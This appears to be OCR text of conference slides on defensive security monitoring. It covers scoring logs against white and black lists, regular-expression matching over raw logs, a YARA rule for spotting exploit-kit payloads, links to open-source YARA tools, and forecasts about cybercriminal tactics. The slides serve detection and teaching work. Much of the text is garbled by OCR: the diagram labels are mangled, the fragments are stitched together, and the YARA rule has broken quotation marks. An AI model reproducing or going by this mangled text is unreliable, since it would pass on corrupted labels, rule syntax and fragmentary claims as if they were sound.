Lscore < EBLThr

\s m EBLThr <= Lscore <= BLThr

--list ——“— BLThr < Lscore < WLThr

White list g — WLThr == Lscore <= EWLThr

InputOutputFileFormat.conf

iy
Idl

Explicit white list --— EWLThr <= Lscore
.
Input log —3 Cutput log
format format
Checksd4rawlogs_1st.conf
FIELDS Chacks
Lzt fites

I URL
IP address list

LIRL RegExp List

Drorrain Lisk— ~— W
Port Lis
Lk=er Agent List

Lscore +=

| SUCCESS_RETURN




General course of work

Raw Logs

(match search)

Output

Regexp files

--match

..... =

L Regexpl —

J‘/ | Filepath2
Regexp?

v Filepathl

4 v

InputOutputFileFormat.conf

Input lag
Formmat

-l —— |

Chutput log
farmat

Regexpi -...______________-_-_‘_-_-_-_

= FilepathN

Checksdrawlogs_2nd.conf

FIELDS

ISER [P

-

Checks

’pl Match '

A




Users In troubles

2. --match ==> Find all history about users in
troubles — before and after signature ==> Further

manual investigation

3. Update signatures if need to
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Yara - based

Easy to integrate with your scripts

Integration with a proxy server is possible
via icap yara plugin:
https://github.com/fygrave/c icap yara
(inline analysis)

Raw network traffic monitoring project
(and http/DNS indexing):

https://github.com/fygrave/eyepkflow
(passive HTTP)


https://github.com/fygrave/c_icap_yara
https://github.com/fygrave/eyepkflow

Detecting typical fields inside
payload
* For example (YARA):.

Rule SploitMatcher {
strings:
$match0l1 = "com.class™
$match02 = "edu.class"
$match03 = "net.class"
$match04 = “security.class”
condition:
all of them
}

Problem: you can't deobfuscate javascript with Yara. But you can block the payload,
Which would be fetched by the javascript, thus break the exploitation chain.
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Yara mail https://

github.com/kevthehermit/yaraMail

Yara pcap https://
github.com/kevthehermit/YaraPcap



https://github.com/aol/moloch
https://github.com/aol/moloch
https://github.com/kevthehermit/yaraMail
https://github.com/kevthehermit/yaraMail
https://github.com/kevthehermit/YaraPcap
https://github.com/kevthehermit/YaraPcap

Android based platforms would be one of the primary
targets

Vendor supplied reputation filters won't be so effective,
due the compromised legit domains pool size

Commercially oriented cyber criminals will use non
standard ports, abused hosting, DNS servers and short
time frames as now in Russia.

Cyber criminals will act outside the country of their
residence (it's better for Russia, but only for Russia...)

Defenders will use more and more own signatures,
rules, tools and pills to survive.
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We've seen interesting techniques
We've seen that the 'low-hanging fruit' is not so
low anymore :)



Now It Is the time for questions
And throwing your shoes ;-)




